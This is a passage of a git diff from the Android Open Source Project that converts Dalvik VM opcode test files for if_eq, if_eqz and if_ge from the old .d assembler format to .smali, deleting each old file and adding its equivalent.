+:Label10
+       return v5
+       
+:Label11
+       const/4 v5, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.d
deleted file mode 100644
index 8e67f2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_8.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-eq v5, v7, Label11
-       const/16 v5, 1234
-Label10:
-       return v5
-       
-Label11:
-       const/4 v5, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.smali
new file mode 100644
index 0000000..ccdf4cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_8.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-eq v5, v7, :Label11
+       const/16 v5, 1234
+:Label10
+       return v5
+       
+:Label11
+       const/4 v5, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.d
deleted file mode 100644
index b158878..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_9.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ILjava/lang/String;)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.smali
new file mode 100644
index 0000000..f9fa721
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_9.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ILjava/lang/String;)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.d
deleted file mode 100644
index c44b870..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_1.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-eqz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.smali
new file mode 100644
index 0000000..497b4b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_1.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.d
deleted file mode 100644
index 8c415d0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eqz_10.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-eqz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       const v5, 0
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.smali
new file mode 100644
index 0000000..4462f28
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_eqz_10.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-eqz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.d
deleted file mode 100644
index af8ce95c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_eqz_11.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-eqz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.smali
new file mode 100644
index 0000000..22ebc02
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.smali
@@ -0,0 +1,23 @@
+.source "T_if_eqz_11.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-eqz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.d
deleted file mode 100644
index 2b44068..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_2.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-eqz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.smali
new file mode 100644
index 0000000..2ef94d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_2.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.d
deleted file mode 100644
index 84e6924..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_3.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-eqz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.smali
new file mode 100644
index 0000000..53ab7e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_3.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.d
deleted file mode 100644
index 5d0c921..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_4.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)I
-.limit regs 6
-
-       if-eqz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.smali
new file mode 100644
index 0000000..1dd00a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_4.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.d
deleted file mode 100644
index 3ddc469..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_5.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)I
-.limit regs 6
-
-       if-eqz v6, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.smali
new file mode 100644
index 0000000..86fb7da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_5.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 6
+
+       if-eqz v6, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.d
deleted file mode 100644
index ff120fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_6.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       if-eqz v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.smali
new file mode 100644
index 0000000..add8e64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_6.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       if-eqz v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.d
deleted file mode 100644
index 2d2ccb7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_7.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-eqz v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.smali
new file mode 100644
index 0000000..89aecb8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_7.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-eqz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.d
deleted file mode 100644
index 4ff0e6d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_eqz_9.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-eqz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.smali
new file mode 100644
index 0000000..36a53f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_eqz_9.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-eqz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.d
deleted file mode 100644
index 1279bbe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_1.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ge v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.smali
new file mode 100644
index 0000000..50c81ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_1.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.d
deleted file mode 100644
index d02659a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_ge_10.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-ge v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       const v6, 0
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.smali
new file mode 100644
index 0000000..8514de0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_ge_10.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ge v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.d
deleted file mode 100644
index 667364d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_ge_11.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ge v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.smali
new file mode 100644
index 0000000..8c5452e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_ge_11.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.d
deleted file mode 100644
index af33b07..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_ge_2.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       if-ge v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.smali
new file mode 100644
index 0000000..e0119b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_ge_2.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.d
deleted file mode 100644
index 876dcdc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_3.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       if-ge v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.smali
new file mode 100644
index 0000000..97f2470
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_3.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.d
deleted file mode 100644
